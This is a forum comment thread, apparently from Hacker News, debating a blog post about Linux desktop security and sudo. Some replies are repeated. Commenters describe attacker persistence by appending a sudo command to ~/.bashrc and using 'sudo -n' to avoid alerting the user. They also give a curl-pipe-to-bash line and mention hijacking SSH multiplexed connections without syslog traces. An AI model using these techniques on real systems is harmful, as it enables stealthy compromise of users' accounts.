4 ms·

I've read through the author's blog recently it got posted here. Author refers to many pseudo-weaknesses but does not accept that that's simply the current stat

I've read through the author's blog recently it got posted here. Author refers to many pseudo-weaknesses but does not accept that that's simply the current state of things and there's work to be done to make it better. IOW, author doesn't offer any alternative except implied use "Windows/Mac/Chrome because they say it's secure". I'm all about software rants, but you have to approach the problem from all sides instead of bitching like a teenager. Let's evaluate this one: > On ordinary desktops, a compromised non-root user account with access to sudo is almost equal to full root [...SNIP...] So author here probably means access to sudo where the account has the right to become root. Once someone compromises your account... well, that's it. The rest of the text is just garbage, many things are taken completely out of context. Once an attacker can run under your account she can just for instance append 'sudo /bin/.doevilstuff' to your ~/.bashrc.

LinuxBender 6y ago
be sure to add -n so that it silently fails (assuming you redirect output) and does not alert the user. If they have a sudo token active, then it will silently succeed. Here is an example: curl -s https://ohblog.org/test.txt | bash Read the test.txt file first of course.
- inshadows 6y ago
  Why does sudo matter at all? If you run this curl it can literaly steal your Firefox credentials, your photos, record your passwords, ...
  - LinuxBender 6y ago
    Absolutely true. I was just adding a more silent way to use sudo without being detected. In fact, without sudo, I can still piggy-back on peoples SSH connections if they don't disable multiplexing. As an added bonus, there are no syslog entries when I ride that channel.
commandlinefan 6y ago
> implied use "Windows/Mac/Chrome because they say it's secure" Yeah, I had the same feeling - Windows is way worse in every way. Every vulnerability he points out in Linux is pretty much the same in OS/X. Make things better, of course, but Linux is still your best bet if you're concerned about security.

LinuxBender 6y ago

be sure to add -n so that it silently fails (assuming you redirect output) and does not alert the user. If they have a sudo token active, then it will silently succeed. Here is an example: curl -s https://ohblog.org/test.txt | bash Read the test.txt file first of course.

inshadows 6y ago
Why does sudo matter at all? If you run this curl it can literaly steal your Firefox credentials, your photos, record your passwords, ...
- LinuxBender 6y ago
  Absolutely true. I was just adding a more silent way to use sudo without being detected. In fact, without sudo, I can still piggy-back on peoples SSH connections if they don't disable multiplexing. As an added bonus, there are no syslog entries when I ride that channel.

commandlinefan 6y ago

> implied use "Windows/Mac/Chrome because they say it's secure" Yeah, I had the same feeling - Windows is way worse in every way. Every vulnerability he points out in Linux is pretty much the same in OS/X. Make things better, of course, but Linux is still your best bet if you're concerned about security.